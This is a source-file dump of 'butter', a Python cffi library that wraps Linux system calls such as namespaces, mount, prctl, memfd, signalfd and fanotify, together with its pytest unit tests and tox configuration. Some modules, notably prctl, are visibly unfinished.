"Markdown",
"C"
] | 4 | C | dsypioe/MSP430 | 706f8a2cf43073136d9241223d343539b470cdf7 | 087e02f2610ef72fb6240622cd5072b8f2db3536 |
refs/heads/master | <repo_name>RIAPS/butter<file_sep>/butter/build/system.py
#!/usr/bin/env python
from cffi import FFI
ffi = FFI()
ffi.cdef("""
# define MS_BIND ...
# define MS_DIRSYNC ...
# define MS_MANDLOCK ...
# define MS_MOVE ...
# define MS_NOATIME ...
# define MS_NODEV ...
# define MS_NODIRATIME ...
# define MS_NOEXEC ...
# define MS_NOSUID ...
# define MS_RDONLY ...
# define MS_RELATIME ...
# define MS_REMOUNT ...
# define MS_SILENT ...
# define MS_STRICTATIME ...
# define MS_SYNCHRONOUS ...
# define MNT_FORCE ...
# define MNT_DETACH ...
# define MNT_EXPIRE ...
# define UMOUNT_NOFOLLOW ...
# define HOST_NAME_MAX ...
int mount(const char *source, const char *target,
const char *filesystemtype, unsigned long mountflags,
const void *data);
int umount2(const char *target, int flags);
int pivot_root(const char * new_root, const char * put_old);
int gethostname(char *name, size_t len);
int sethostname(const char *name, size_t len);
// Muck with the types so cffi understands it
// normmaly pid_t (defined as int32_t in
// /usr/include/arm-linux-gnueabihf/bits/typesizes.h
int32_t getpid(void);
int32_t getppid(void);
""")
ffi.set_source("_system_c", """
//#include <sched.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/syscall.h>
#include <sys/mount.h>
// from the `man 2 syscall` manpage
// For example, on the ARM architecture Embedded ABI (EABI), a 64-bit value
// (e.g., long long) must be aligned to an even register pair.
//
// OK well that sucks, ... but wait! these are always arch sized pointers!
// that means registers on 64bit will be 64bit and 32 bit will be 32bit
// meaining i dont have to align by hand!
// /me laughs manically and strokes a white cat
int pivot_root(const char * new_root, const char * put_old){
return syscall(SYS_pivot_root, new_root, put_old);
};
int32_t getpid(void){
return syscall(SYS_getpid);
};
int32_t getppid(void){
return syscall(SYS_getppid);
};
""", libraries=[])
if __name__ == "__main__":
ffi.compile()
<file_sep>/tests/unit/test_clone.py
#!/usr/bin/env python
from butter.clone import unshare, setns
import pytest
@pytest.mark.clone
def test_setns(mock):
m = mock.patch('butter.clone._lib')
m = mock.patch('butter.clone._lib.setns')
m.return_value = 0
setns(fd=5)
<file_sep>/tests/unit/test_eventlike_unit.py
from butter.eventfd import Eventfd
from butter.fanotify import Fanotify
from butter.inotify import Inotify
from butter.signalfd import Signalfd
from butter.timerfd import Timer
from butter.memfd import Memfd
from butter import utils
from mock import patch
import pytest
import os
@pytest.fixture(params=[Eventfd, Fanotify, Inotify, Signalfd, Timer, Memfd])
def obj(request):
Obj = request.param
o = Obj.__new__(Obj)
return o
@pytest.mark.eventlike
@pytest.mark.unit
def test_fd_closed(mocker, obj):
"""Ensure you cant close the same fd twice (as it may be reused)"""
obj._fd = -1 # invalid but unlikley to cause issues
# if real close is called
f = mocker.patch('butter.utils._close')
f.side_effect = ValueError()
with pytest.raises(ValueError):
obj.close()
f.assert_called()
@pytest.mark.eventlike
@pytest.mark.unit
def test_fd_contextmanager(mocker, obj):
"""Ensure close() is called when used as a context manager"""
obj._fd = -1 # invalid but unlikley to cause issues
# if real close is called
f = mocker.patch('butter.utils._close')
with obj:
pass
f.assert_called()
<file_sep>/tests/unit/test_memfd.py
#!/usr/bin/env python
import pytest
from butter._memfd import memfd_create, revoke, seal, flags, F_SEAL_WRITE
from butter.memfd import Memfd, MFD_ALLOW_SEALING
from butter.utils import PermissionError
import os
@pytest.fixture
def memfd():
mem = Memfd(__name__, flags=MFD_ALLOW_SEALING)
yield mem
mem.close()
@pytest.fixture
def memfd_raw():
fd = memfd_create(__name__, flags=MFD_ALLOW_SEALING)
yield fd
os.close(fd)
@pytest.mark.memfd
def test_revoke(memfd_raw):
revoke(memfd_raw, F_SEAL_WRITE)
@pytest.mark.memfd
def test_seal(memfd_raw):
seal(memfd_raw)
## IOError being here is a compatibility hack for
## python2.7
with pytest.raises((PermissionError, IOError)):
revoke(memfd_raw, F_SEAL_WRITE)
@pytest.mark.memfd
def test_get_flags(memfd_raw):
assert flags(memfd_raw) == 0
revoke(memfd_raw, F_SEAL_WRITE)
assert flags(memfd_raw) == F_SEAL_WRITE
@pytest.mark.memfd
def test_growable(memfd):
assert memfd.growable
memfd.growable = True # this should be a noop
assert memfd.growable
memfd.growable = False
assert memfd.growable == False
@pytest.mark.memfd
def test_shrinkable(memfd):
assert memfd.shrinkable
memfd.shrinkable = True # this should be a noop
assert memfd.shrinkable
memfd.shrinkable = False
assert memfd.shrinkable == False
@pytest.mark.memfd
def test_writable(memfd):
assert memfd.writable
memfd.writable = True # this should be a noop
assert memfd.writable
memfd.writable = False
assert memfd.writable == False
@pytest.mark.memfd
def test_mmap(mocker, memfd):
m = mocker.patch('butter.memfd.mmap')
memfd.mmap(length=20)
assert m.called
<file_sep>/tests/unit/test_vmsplice.py
#!/usr/bin/env python
import pytest
from butter.splice import vmsplice
@pytest.mark.vmsplice
def test_vmsplice():
with pytest.raises(NotImplementedError):
vmsplice(None, None)
<file_sep>/butter/prctl.py
#!/usr/bin/env python
from cffi import FFI
ffi = FFI()
ffi.cdef("""
int prctl(int option, unsigned long arg2, unsigned long arg3,
unsigned long arg4, unsigned long arg5);
#define PR_SET_PDEATHSIG ...
#define PR_GET_PDEATHSIG ...
#define PR_GET_DUMPABLE ...
#define PR_SET_DUMPABLE ...
#define PR_GET_UNALIGN ...
#define PR_SET_UNALIGN ...
#define PR_UNALIGN_NOPRINT ...
#define PR_UNALIGN_SIGBUS ...
#define PR_GET_KEEPCAPS ...
#define PR_SET_KEEPCAPS ...
#define PR_GET_FPEMU ...
#define PR_SET_FPEMU ...
#define PR_FPEMU_NOPRINT ...
#define PR_FPEMU_SIGFPE ...
#define PR_GET_FPEXC ...
#define PR_SET_FPEXC ...
#define PR_FP_EXC_SW_ENABLE ...
#define PR_FP_EXC_DIV ...
#define PR_FP_EXC_OVF ...
#define PR_FP_EXC_UND ...
#define PR_FP_EXC_RES ...
#define PR_FP_EXC_INV ...
#define PR_FP_EXC_DISABLED ...
#define PR_FP_EXC_NONRECOV ...
#define PR_FP_EXC_ASYNC ...
#define PR_FP_EXC_PRECISE ...
#define PR_GET_TIMING ...
#define PR_SET_TIMING ...
#define PR_TIMING_STATISTICAL ...
#define PR_TIMING_TIMESTAMP ...
#define PR_SET_NAME ...
#define PR_GET_NAME ...
#define PR_GET_ENDIAN ...
#define PR_SET_ENDIAN ...
#define PR_ENDIAN_BIG ...
#define PR_ENDIAN_LITTLE ...
#define PR_ENDIAN_PPC_LITTLE ...
#define PR_GET_SECCOMP ...
#define PR_SET_SECCOMP ...
#define PR_CAPBSET_READ ...
#define PR_CAPBSET_DROP ...
#define PR_GET_TSC ...
#define PR_SET_TSC ...
#define PR_TSC_ENABLE ...
#define PR_TSC_SIGSEGV ...
#define PR_GET_SECUREBITS ...
#define PR_SET_SECUREBITS ...
#define PR_SET_TIMERSLACK ...
#define PR_GET_TIMERSLACK ...
#define PR_TASK_PERF_EVENTS_DISABLE ...
#define PR_TASK_PERF_EVENTS_ENABLE ...
#define PR_MCE_KILL_CLEAR ...
#define PR_MCE_KILL_SET ...
#define PR_MCE_KILL_LATE ...
#define PR_MCE_KILL_EARLY ...
#define PR_MCE_KILL_DEFAULT ...
#define PR_MCE_KILL_GET ...
#define PR_SET_MM ...
#define PR_SET_MM_START_CODE ...
#define PR_SET_MM_END_CODE ...
#define PR_SET_MM_START_DATA ...
#define PR_SET_MM_END_DATA ...
#define PR_SET_MM_START_STACK ...
#define PR_SET_MM_START_BRK ...
#define PR_SET_MM_BRK ...
#define PR_SET_MM_ARG_START ...
#define PR_SET_MM_ARG_END ...
#define PR_SET_MM_ENV_START ...
#define PR_SET_MM_ENV_END ...
#define PR_SET_MM_AUXV ...
#define PR_SET_MM_EXE_FILE ...
#define PR_SET_PTRACER ...
#define PR_SET_PTRACER_ANY ...
#define PR_SET_CHILD_SUBREAPER ...
#define PR_GET_CHILD_SUBREAPER ...
#define PR_SET_NO_NEW_PRIVS ...
#define PR_GET_NO_NEW_PRIVS ...
#define PR_GET_TID_ADDRESS ...
""")
_lib = ffi.verify("""
#include <sys/prctl.h>
""", libraries=[], ext_package="butter")
### prctl
class prctl(object):
class capbset(object):
def __contains__(self, val):
return True if _lib.prctl(_lib.PR_CAPBSET_READ, val, 0, 0, 0) else False
EINVAL = ValueError("Not a valid capability")
def drop(self, val):
_lib.prctl(_lib.PR_CAPBSET_DROP, val, 0, 0, 0)
EPERM = PermissionError("Thread does not have CAP_PSET in its list of capabilities")
EINVAL = ValueError("Not a valid capability or kernel had no capabilities support")
capbset = capbset()
@property
@staticmethod
def sub_reaper():
ret = ffi.new('int *', 0)
return _lib.prctl(_lib.PR_GET_CHILD_SUBREAPER, ffi.cast('unsigned long', ret), 0, 0, 0)
return True if ret[0] else False
@dumpable.setter
@staticmethod
def sub_reaper():
_lib.prctl(_lib.PR_SET_CHILD_SUBREAPER, 0, 0, 0, 0)
@property
@staticmethod
def dumpable():
return True if _lib.prctl(_lib.PR_GET_DUMPABLE, 0, 0, 0, 0) else False
@dumpable.setter
@staticmethod
def dumpable():
_lib.prctl(_lib.PR_GET_DUMPABLE, 0, 0, 0, 0)
def main():
from time import sleep
name = ffi.new("char[]", b"DSDSADSA")
print(_lib.prctl(_lib.PR_SET_NAME, ffi.cast('unsigned long', name), 0, 0, 0))
sleep(3000)
if __name__ == "__main__":
main()
<file_sep>/butter/_memfd.py
#!/usr/bin/env python
"""eventfd: maintain an atomic counter inside a file descriptor"""
from .utils import UnknownError, CLOEXEC_DEFAULT
from cffi import FFI
import errno
from ._memfd_c import ffi
from ._memfd_c import lib
from fcntl import fcntl
MFD_CLOEXEC = lib.MFD_CLOEXEC
MFD_ALLOW_SEALING = lib.MFD_ALLOW_SEALING
F_ADD_SEALS = lib.F_ADD_SEALS
F_GET_SEALS = lib.F_GET_SEALS
F_SEAL_SEAL = lib.F_SEAL_SEAL
F_SEAL_SHRINK = lib.F_SEAL_SHRINK
F_SEAL_GROW = lib.F_SEAL_GROW
F_SEAL_WRITE = lib.F_SEAL_WRITE
import platform
if platform.python_version_tuple() < ('3', '0', '0'):
def bytes(s, encoding):
if isinstance(s, str):
return s.encode(encoding)
return s
def memfd_create(name='', flags=0, closefd=CLOEXEC_DEFAULT):
"""Create a new memory backed file descriptor, this can be mmap'd
into a processes address space or the fd passed to another program
to allow for shared memory without a filename
Arguments
----------
:param int flags: Flags to specify extra options
:param bool closefd: Close the fd when a new process is exec'd
Flags
------
MFD_CLOEXEC: Close the eventfd when executing a new program
MFD_ALLOW_SEALING: Allow sealing of this file, preventing operations
such as resize or writing
Returns
--------
:return: The file descriptor representing the eventfd
:rtype: int
Exceptions
-----------
:raises ValueError: Invalid value in flags or name too long
:raises OSError: Max per process FD limit reached
:raises OSError: Max system FD limit reached
:raises OSError: Could not mount (internal) anonymous inode device
:raises MemoryError: Insufficient kernel memory
"""
assert isinstance(flags, int), "Flags must be an integer"
if closefd:
flags |= MFD_CLOEXEC
name = bytes(name, 'UTF-8')
fd = lib.memfd_create(name, flags)
if fd < 0:
err = ffi.errno
if err == errno.EINVAL:
raise ValueError("Invalid value in flags or name too long")
elif err == errno.EMFILE:
raise OSError("Max per process FD limit reached")
elif err == errno.ENFILE:
raise OSError("Max system FD limit reached")
elif err == errno.ENODEV:
raise OSError("Could not mount (internal) anonymous inode device")
elif err == errno.ENOMEM:
raise MemoryError("Insufficent kernel memory available")
else:
# If you are here, its a bug. send us the traceback
raise UnknownError(err)
return fd
def seal(fd):
"""Prevent a file descriptor from ahving futher permissions removed"""
error = fcntl(fd, F_ADD_SEALS, F_SEAL_SEAL)
if error < 0:
if ffi.errno == errno.EPERM:
raise ValueError("This file has already been sealed")
else:
# If you are here, its a bug. send us the traceback
raise UnknownError(err)
def revoke(fd, flags):
"""Revoke privileges on a file descriptor"""
error = fcntl(fd, F_ADD_SEALS, flags)
if error < 0:
if ffi.errno == errno.EPERM:
raise ValueError("This file has already been sealed")
elif ffi.errno == errno.EBUSY:
raise ValueError("Writable mappings exist for this file")
else:
# If you are here, its a bug. send us the traceback
raise UnknownError(err)
def flags(fd):
"""Obtain the sealining flags for a given file descriptor"""
error = fcntl(fd, F_GET_SEALS)
if error < 0:
if ffi.errno == errno.EINVAL:
raise ValueError("File does not support sealing")
else:
# If you are here, its a bug. send us the traceback
raise UnknownError(err)
flags = error # this is a noop for readibility
return flags
<file_sep>/butter/build/clone.py
#!/usr/bin/env python
from cffi import FFI
ffi = FFI()
ffi.cdef("""
#define CLONE_FS ...
#define CLONE_NEWNS ...
// Older kernels have no support for this
// This flag is also recycled (was CLONE_STOPPED)
#define CLONE_NEWCGROUP ...
#define CLONE_NEWUTS ...
#define CLONE_NEWIPC ...
#define CLONE_NEWUSER ...
#define CLONE_NEWPID ...
#define CLONE_NEWNET ...
//#long __clone(unsigned long flags, void *child_stack, ...);
long __clone(unsigned long flags, void *child_stack,
void *ptid, void *ctid, void *regs);
int unshare(int flags);
#pragma weak setns
int setns(int fd, int nstype);
""")
ffi.set_source("_clone", """
#include <linux/sched.h>
#include <unistd.h>
#include <sys/types.h>
// Hack to make this work on older kernels
// number is stable across all architectures
#ifndef CLONE_NEWCGROUP
#define CLONE_NEWCGROUP 0x02000000
#endif
// man page
//long __clone(unsigned long flags, void *child_stack, ...);
long __clone(unsigned long flags, void *child_stack,
void *ptid, void *ctid,
void *regs);
int unshare(int flags);
int setns(int fd, int nstype) {
return -1;
};
""", libraries=[])
if __name__ == "__main__":
ffi.compile()
<file_sep>/butter/_signalfd.py
#!/usr/bin/env python
"""signalfd: Recive signals over a file descriptor"""
from .utils import UnknownError, CLOEXEC_DEFAULT
import signal
import errno
from ._signalfd_c import ffi, lib
NEW_SIGNALFD = -1 # Create a new signal rather than modify an exsisting one
def signalfd(signals, fd=NEW_SIGNALFD, flags=0, closefd=CLOEXEC_DEFAULT):
"""Create a new signalfd
Arguments
----------
:param sigset_t signals: raw cdata to pass to the syscall
:param int signals: A single int representing the signal to listen for
:param list signals: A list of signals to listen for
:param int fd: The file descriptor to modify, if set to NEW_SIGNALFD then a new FD is returned
:param int flags:
Flags
------
SFD_CLOEXEC: Close the signalfd when executing a new program
SFD_NONBLOCK: Open the socket in non-blocking mode
Returns
--------
:return: The file descriptor representing the signalfd
:rtype: int
Exceptions
-----------
:raises ValueError: Invalid value in flags
:raises OSError: Max per process FD limit reached
:raises OSError: Max system FD limit reached
:raises OSError: Could not mount (internal) anonymous inode device
:raises MemoryError: Insufficient kernel memory
"""
if hasattr(fd, 'fileno'):
fd = fd.fileno()
assert isinstance(fd, int), 'fd must be an integer'
assert isinstance(flags, int), 'Flags must be an integer'
if closefd:
flags |= SFD_CLOEXEC
if isinstance(signals, ffi.CData):
mask = signals
else:
mask = ffi.new('sigset_t[1]')
# if we have multiple signals then all is good
try:
signals = iter(signals)
except TypeError:
# if not make the value iterable
signals = [signals]
for signal in signals:
lib.sigaddset(mask, signal)
ret_fd = lib.signalfd(fd, mask, flags)
if ret_fd < 0:
err = ffi.errno
if err == errno.EBADF:
raise ValueError("FD is not a valid file descriptor")
elif err == errno.EINVAL:
if (flags & (0xffffffff ^ (SFD_CLOEXEC|SFD_NONBLOCK))):
raise ValueError("Mask contains invalid values")
else:
raise ValueError("FD is not a signalfd")
elif err == errno.EMFILE:
raise OSError("Max system FD limit reached")
elif err == errno.ENFILE:
raise OSError("Max system FD limit reached")
elif err == errno.ENODEV:
raise OSError("Could not mount (internal) anonymous inode device")
elif err == errno.ENOMEM:
raise MemoryError("Insufficent kernel memory available")
else:
# If you are here, its a bug. send us the traceback
raise UnknownError(err)
return ret_fd
def pthread_sigmask(action, signals):
"""Block and Unblock signals from being delivered to an application
This is required as this function/functionality does not exist in
python2.x
Arguments
----------
:param int action: The action to take on the supplied signals (bitmask)
:param list signals: An iterable of signals
:param int signals: A single signal
Flags: action
-----------
SIG_BLOCK: Block the signals in sigmask from being delivered
SIG_UNBLOCK: Unblock the signals in the supplied sigmask
SIG_SETMASK: Set the active signals to match the supplied sigmask
Returns
--------
:return: The old set of active signals
:rtype: sigset
Exceptions
-----------
:raises ValueError: Invalid value in 'action'
:raises ValueError: sigmask is not a valid sigmask_t
"""
assert isinstance(action, int), '"How" must be an integer'
new_sigmask = ffi.new('sigset_t[1]')
old_sigmask = ffi.new('sigset_t[1]')
# if we have multiple signals then all is good
try:
signals = iter(signals)
except TypeError:
# if not make the value iterable
signals = [signals]
for signal in signals:
lib.sigaddset(new_sigmask, signal)
ret = lib.pthread_sigmask(action, new_sigmask, ffi.NULL)
if ret < 0:
err = ffi.errno
if err == errno.EINVAL:
raise ValueError("Action is an invalid value (not one of SIG_BLOCK, SIG_UNBLOCK or SIG_SETMASK)")
elif err == errno.EFAULT:
raise ValueError("sigmask is not a valid sigset_t")
else:
# If you are here, its a bug. send us the traceback
raise UnknownError(err)
SFD_CLOEXEC = lib.SFD_CLOEXEC
SFD_NONBLOCK = lib.SFD_NONBLOCK
SIG_BLOCK = lib.SIG_BLOCK
SIG_UNBLOCK = lib.SIG_UNBLOCK
SIG_SETMASK = lib.SIG_SETMASK
signum_to_signame = {val:key for key, val in signal.__dict__.items()
if isinstance(val, int) and "_" not in key}
#SIGINFO_LENGTH = 128 # Bytes
SIGINFO_LENGTH = ffi.sizeof('struct signalfd_siginfo')
<file_sep>/tests/utils.py
#!/usr/bin/env python
from tempfile import mkdtemp
import weakref as _weakref
from shutil import rmtree as _rmtree
from contextlib import contextmanager
import platform
if platform.python_version_tuple() < ('3', '0', '0'):
@contextmanager
def TemporaryDirectory(suffix="", prefix='tmp', dir=None):
try:
name = mkdtemp(suffix, prefix, dir)
yield name
finally:
_rmtree(name)
else:
from tempfile import TemporaryDirectory
<file_sep>/butter/build/splice.py
#!/usr/bin/env python
from cffi import FFI
ffi = FFI()
ffi.cdef("""
#define SPLICE_F_MOVE ... /* This is a noop in modern kernels and is left here for compatibility */
#define SPLICE_F_NONBLOCK ... /* Make splice operations Non blocking (as long as the fd's are non blocking) */
#define SPLICE_F_MORE ... /* After splice() more data will be sent, this is a hint to add TCP_CORK like buffering */
#define SPLICE_F_GIFT ... /* unused for splice() (vmsplice compatibility) */
#define IOV_MAX ... /* Maximum ammount of vectors that can be written by vmsplice in one go */
struct iovec {
void *iov_base; /* Starting address */
size_t iov_len; /* Number of bytes */
};
ssize_t splice(int fd_in, signed long long *off_in, int fd_out, signed long long *off_out, size_t len, unsigned int flags);
ssize_t tee(int fd_in, int fd_out, size_t len, unsigned int flags);
""")
ffi.set_source("_splice_c", """
#include <limits.h> /* used to define IOV_MAX */
#include <fcntl.h>
#include <sys/uio.h>
""", libraries=[])
if __name__ == "__main__":
ffi.compile()
<file_sep>/tests/unit/test_repr.py
from butter.eventfd import Eventfd
from butter.fanotify import Fanotify
from butter.inotify import Inotify
from butter.signalfd import Signalfd
from butter.timerfd import Timer, TimerVal
from butter.memfd import Memfd
import pytest
import random
import string
@pytest.fixture(params=[Eventfd, Fanotify, Inotify, Signalfd, Timer, Memfd])
def obj(mocker, request):
# fanotify needs root to run, mock it so it just fakes it
mocker.patch('butter.utils._close')
m = mocker.patch('butter.fanotify.fanotify_init')
m.return_value = 5
Obj = request.param
o = Obj(flags=0)
yield o
o.close()
@pytest.fixture()
def randstring(request):
buf = [random.choice(string.printable) for i in range(16)]
return "".join(buf)
@pytest.mark.repr
@pytest.mark.unit
def test_repr_name(obj):
obj._fd = 1
assert obj.__class__.__name__ in repr(obj), "Instance's representation does not contain its own name"
@pytest.mark.repr
@pytest.mark.unit
def test_repr_fd(obj):
obj._fd = 1
assert 'fd=1' in repr(obj), "Instance does not list its own fd (used for easy identifcation)"
@pytest.mark.repr
@pytest.mark.unit
def test_repr_fd_closed(obj):
# we save and restore the original fd as the dependency injection
# handles opening/closing and errors out if we have manhandled _fd
# directly
old_fd = obj._fd
obj._fd = None
assert 'fd=closed' in repr(obj), "Instance does not indicate it is closed"
obj._fd = old_fd
@pytest.mark.repr
@pytest.mark.unit
@pytest.mark.parametrize('time_obj', [TimerVal, Timer])
def test_timerval(time_obj):
t = time_obj().offset(1, 2).repeats(3, 4)
r = repr(t)
assert t.__class__.__name__ in r, 'Does not contain its own name'
assert '1' in r, 'Value not in output'
assert '1s' in r, 'Value does not have units'
assert '2' in r, 'Value not in output'
assert '2ns' in r, 'Value does not have units'
assert '3' in r, 'Value not in output'
assert '3s' in r, 'Value does not have units'
assert '4' in r, 'Value not in output'
assert '4ns' in r, 'Value does not have units'
@pytest.mark.repr
@pytest.mark.unit
def test_memfd_name(randstring):
name = randstring
mem = Memfd(name)
assert 'name=' in repr(mem), 'name field is not listed in memfd repr()'
assert "name='{}'".format(name) in repr(mem), 'name value is not listed in memfd repr()'
<file_sep>/butter/clone.py
#!/usr/bin/env python
from .utils import PermissionError, UnknownError
import errno
from ._clone import ffi
from ._clone import lib as _lib
CLONE_NEWNS = _lib.CLONE_NEWNS
CLONE_NEWUTS = _lib.CLONE_NEWUTS
CLONE_NEWIPC = _lib.CLONE_NEWIPC
CLONE_NEWUSER = _lib.CLONE_NEWUSER
CLONE_NEWPID = _lib.CLONE_NEWPID
CLONE_NEWNET = _lib.CLONE_NEWNET
try:
CLONE_NEWCGROUP = _lib.CLONE_NEWCGROUP
except AttributeError:
pass
SETNS_ANY = 0
def unshare(flags):
"""Unshare the current namespace and create a new one
Arguments
----------
:param int flags: The flags controlling which namespaces to unshare
Flags
------
CLONE_NEWNS: Unshare the mount namespace causing mounts in this namespace
to not be visible to the parent namespace
CLONE_NEWCGROUP: Hide existing cgroups and make the process see its resident cgroup
as the top of the tree in the cgroup filesystem
CLONE_NEWUTS: Unshare the system hostname allowing it to be changed independently
to the rest of the system
CLONE_NEWIPC: Unshare the IPC namespace
CLONE_NEWUSER: Unshare the UID space allowing UIDs to be remapped to the parent
CLONE_NEWPID: Unshare the PID space allowing remapping of PIDs relative to the parent
CLONE_NEWNET: Unshare the network namespace, creating a separate set of network
interfaces/firewall rules
Exceptions
-----------
:raises ValueError: Invalid value in flags
"""
fd = _lib.unshare(flags)
if fd < 0:
err = ffi.errno
if err == errno.EINVAL:
raise ValueError("Invalid value in flags")
elif err == errno.EPERM:
raise PermissionError("Process in chroot or has incorrect permissions")
elif err == errno.EUSERS:
raise PermissionError("CLONE_NEWUSER specified but max user namespace nesting has been reached")
elif err == errno.ENOMEM:
raise MemoryError("Insufficent kernel memory available")
else:
# If you are here, its a bug. send us the traceback
raise UnknownError(err)
return fd
def setns(fd, nstype=SETNS_ANY):
"""Join an existing namespace
Arguments
----------
:param int nstype: Restrict the type of namespace the process will join
Flags
------
SETNS_ANY: Allows any namespace to be joined (Default)
CLONE_NEWNS: Unshare the mount namespace causing mounts in this namespace
to not be visible to the parent namespace
CLONE_NEWCGROUP: Hide existing cgroups and make the process see its resident cgroup
as the top of the tree in the cgroup filesystem
CLONE_NEWUTS: Unshare the system hostname allowing it to be changed independently
to the rest of the system
CLONE_NEWIPC: Unshare the IPC namespace
CLONE_NEWUSER: Unshare the UID space allowing UIDs to be remapped to the parent
CLONE_NEWPID: Unshare the PID space allowing remapping of PIDs relative to the parent
CLONE_NEWNET: Unshare the network namespace, creating a separate set of network
interfaces/firewall rules
Exceptions
-----------
:raises ValueError: The file descriptor is invalid
:raises ValueError: The file descriptor does not match nstype
:raises ValueError: The process is multithreadded and attempted to join a user namespace
:raises ValueError: The process is multithreadded and an error occured
:raises ValueError: The process shares filesystem state (CLONE_FS) and attemtped to join a user namespace
:raises ValueError: The process attempted to join a namespace it was already part of
:raises PermissionError: Process does not have the required capabilities (CAP_SYS_ADMIN)
:raises MemoryError: Insufficent kernel memory avalible
"""
ret = _lib.setns(fd, nstype)
if ret < 0:
err = ffi.errno
if err == errno.EBADF:
raise ValueError("File descriptor is not valid")
if err == errno.EINVAL:
raise ValueError("File descriptor does not match nstype or process attempted to join namespace it was already part of")
elif err == errno.EPERM:
raise PermissionError("Process does not have the required capabilities (CAP_SYS_ADMIN)")
elif err == errno.ENOMEM:
raise MemoryError("Insufficent kernel memory available")
else:
# If you are here, its a bug. send us the traceback
raise UnknownError(err)
return fd
def main():
import os, errno, sys
# ret = _lib.__clone(CLONE_NEWNET|CLONE_NEWUTS|CLONE_NEWIPC|CLONE_NEWNS, ffi.NULL)
# ret = _lib.__clone(CLONE_NEWNET|CLONE_NEWUTS|CLONE_NEWIPC|CLONE_NEWNS, ffi.NULL, ffi.NULL, ffi.NULL, ffi.NULL)
ret = _lib.unshare(CLONE_NEWNET|CLONE_NEWUTS|CLONE_NEWIPC|CLONE_NEWNS)
# ret = _lib.unshare(CLONE_ALL)
if ret >= 0:
# with open("/proc/self/uid_map", "w") as f:
# f.write("0 0 1\n")
os.execl('/bin/bash', 'bash')
else:
print(ret, ffi.errno, errno.errorcode[ffi.errno])
print("failed")
sys.exit(1)
if __name__ == "__main__":
main()
<file_sep>/butter/build/fanotify.py
#!/usr/bin/env python
"""fanotify: wrapper around the fanotify family of syscalls for watching for file modifcation"""
from cffi import FFI
ffi = FFI()
ffi.cdef("""
#define FAN_CLOEXEC ...
#define FAN_NONBLOCK ...
#define FAN_CLASS_NOTIF ...
#define FAN_CLASS_CONTENT ...
#define FAN_CLASS_PRE_CONTENT ...
#define FAN_UNLIMITED_QUEUE ...
#define FAN_UNLIMITED_MARKS ...
#define FAN_MARK_ADD ...
#define FAN_MARK_REMOVE ...
#define FAN_MARK_DONT_FOLLOW ...
#define FAN_MARK_ONLYDIR ...
#define FAN_MARK_MOUNT ...
#define FAN_MARK_IGNORED_MASK ...
#define FAN_MARK_IGNORED_SURV_MODIFY ...
#define FAN_MARK_FLUSH ...
#define FAN_ALL_MARK_FLAGS ...
#define FAN_ACCESS ...
#define FAN_MODIFY ...
#define FAN_CLOSE_WRITE ...
#define FAN_CLOSE_NOWRITE ...
#define FAN_OPEN ...
#define FAN_Q_OVERFLOW ...
#define FAN_OPEN_PERM ...
#define FAN_ACCESS_PERM ...
#define FAN_ONDIR ...
#define FAN_EVENT_ON_CHILD ...
#define FAN_MODIFY_DIR ...
#define FAN_ALL_EVENTS ...
// FAN_CLOSE_WRITE|FAN_CLOSE_NOWRITE
#define FAN_CLOSE ...
// Access control flags
#define FAN_ALLOW ...
#define FAN_DENY ...
// #define FAN_EVENT_OK ...
// #define FAN_EVENT_NEXT ...
struct fanotify_response {
int32_t fd;
uint32_t response;
};
//#define __aligned_u64 __u64 __attribute__((aligned(8)))
struct fanotify_event_metadata {
uint32_t event_len;
uint8_t vers;
uint8_t reserved;
uint16_t metadata_len;
uint64_t mask;
int32_t fd;
int32_t pid;
};
int fanotify_init(unsigned int flags, unsigned int event_f_flags);
int fanotify_mark (int fanotify_fd, unsigned int flags, uint64_t mask, int dfd, const char *pathname);
""")
ffi.set_source("_fanotify_c", """
#include <linux/fcntl.h>
#include <sys/fanotify.h>
#ifndef FAN_MODIFY_DIR
#define FAN_MODIFY_DIR 0x00040000
#endif
""", libraries=[])
if __name__ == "__main__":
ffi.compile()
<file_sep>/butter/fanotify_constants.py
#!/usr/bin/env python
"""both _fanotify and fanotify module use these constants
so to avoid an import error lets place them in a separate
module"""
from ._fanotify_c import lib as _lib
_l = locals()
for key in dir(_lib):
if key.startswith('FAN_'):
_l[key] = getattr(_lib, key)
del key, _lib, _l
<file_sep>/tox.ini
# Tox (http://tox.testrun.org/) is a tool for running tests
# in multiple virtualenvs. This configuration file will run the
# test suite on all supported python versions. To use it, "pip install tox"
# and then run "tox" from this directory.
[tox]
envlist = py27, py32, py33, py34, pypy
[testenv]
deps = cffi
coverage
pytest
pytest-mock
mock
[testenv:venv]
envdir = venv
basepython = python3.4
usedevelop = True
[pytest]
#addopts = tests/unit tests/intergration tests/regression tests/build --cov=butter --cov-report=term
addopts = --cov=butter --cov-report=term
norecursedirs = venv env .tox __pycache__
testpaths = tests
<file_sep>/butter/memfd.py
#!/usr/bin/env python
"""memfd: Create a memory backed non-persistent file that has no name on the filesystem
Memfd files are useful as temporary files or as buffers in IPC situations such as
window managers or any case where an area of memory needs to be shared between programs.
Memfd objects have the concept of 'sealing' which revokes certain actions from affecting
the area of memory, this includes the ability to revoke writability, the ability to
shrink and grow the memory area. These are applied instantaneously (not on open() as
normal unix permissions are) and apply to all processes with that memory region open
ie the permissions are not 'per fd' as is normally the case.
Regions can also be sealed, preventing further modification of memory region rights.
"""
from .utils import Eventlike as _Eventlike
from ._memfd import MFD_CLOEXEC, MFD_ALLOW_SEALING
from ._memfd import F_SEAL_SHRINK, F_SEAL_GROW, F_SEAL_WRITE
from ._memfd import memfd_create
from ._memfd import revoke, seal, flags
from .utils import CLOEXEC_DEFAULT as _CLOEXEC_DEFAULT
from mmap import mmap
from mmap import ACCESS_COPY, ACCESS_READ, ACCESS_WRITE
from mmap import PROT_READ, PROT_WRITE, PROT_EXEC
from mmap import MAP_ANON, MAP_ANONYMOUS, MAP_DENYWRITE, MAP_EXECUTABLE, MAP_PRIVATE, MAP_SHARED
class Memfd(_Eventlike):
def __init__(self, name='', inital_value=0, flags=0, closefd=_CLOEXEC_DEFAULT):
"""Create a new Memfd object
Arguments
----------
:param int name: Name to identify the memfd region (not required)
:param int flags: Flags to specify extra options
Flags
------
MFD_CLOEXEC: Close the eventfd when executing a new program
MFD_ALLOW_SEALING: Allow sealing of the memfd region (writing/shrinking/growing support)
"""
super(self.__class__, self).__init__()
self._fd = memfd_create(name, flags, closefd=closefd)
self._name = name
@property
def shrinkable(self):
"""Indicates if this memfd region can be shrunk or truncated via ftruncate()"""
return False if self.flags & F_SEAL_SHRINK else True
@shrinkable.setter
def shrinkable(self, shrinkable):
if not shrinkable:
